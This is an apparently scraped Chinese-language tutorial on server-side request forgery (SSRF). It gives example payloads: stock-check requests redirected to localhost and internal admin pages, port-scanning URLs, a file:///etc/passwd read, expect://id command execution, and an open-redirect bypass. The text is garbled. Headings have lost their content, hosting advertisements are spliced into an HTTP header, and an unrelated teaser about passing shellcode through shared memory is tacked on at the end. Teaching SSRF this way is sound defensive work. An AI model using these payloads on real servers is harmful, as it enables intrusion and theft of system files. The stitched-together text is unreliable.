前言
一、漏洞原理
如下代码：
二、挖掘技巧
三、常见的攻ji
例如：一个购物应用程序，该应用程序使用户可以查看特定商店中某商品是否有库存。为了提供库存信息，应用程序必须根据所涉及的产品和商店查询各种后端REST API。该功能是通过将URL通过前端HTTP请求传递到相关的后端API端点来实现的。因此，当用户查看某件商品的库存状态时，他们的浏览器会发出如下请求：
他们的浏览器会发出如下请求：
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
POST /product/stock HTTP/1.0
Content-Type: application/x-www-服务器托管网form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/admin3.3、端口扫描
http://example.com/ssrf.php?url=http:ip:21/
http://example.com/ssrf.php?url=http:ip:443/
http://example.com/ssrf.php?url=http:ip:80/
http://example.com/ssrf.php?url=http:ip:3306/等
http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A443%2Fwp-content%2Fthemes%2Fdefault%2Fimages%2Faudio.jpg
http://example.com/ssrf.php?url=http%3A%2F%2F127.0.0.1%3A8080%2Fjmx-console%2FHtmlAdaptor%3Faction%3DinvokeOp%26name%
http://example.com/ssrf.php?url=file:///etc/passwd2、命令执行
例如PHP环境下，利用expect协议执行系统命令，如下：
http://example.com/ssrf.php?url=expect://id四、绕过的常见防御
例如，假设应用程序包含一个开放重定向漏洞，其中包含以下URL：
/product/nextProduct?currentProductId=6&path=http://evil-user.net
返回重定向到：
http://evil-user.net
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
五、防御
服务器托管，北京服务器托管，服务器租用 http://www.fwqtg.net
机房服务器托管网租用，北京机房租用，IDC机房托管， http://www.fwqtg.net
在计算机安全领域，ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度，研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法，通过该方法，两个本地进程可以相互传递ShellCode，从而实现一种巧妙的…
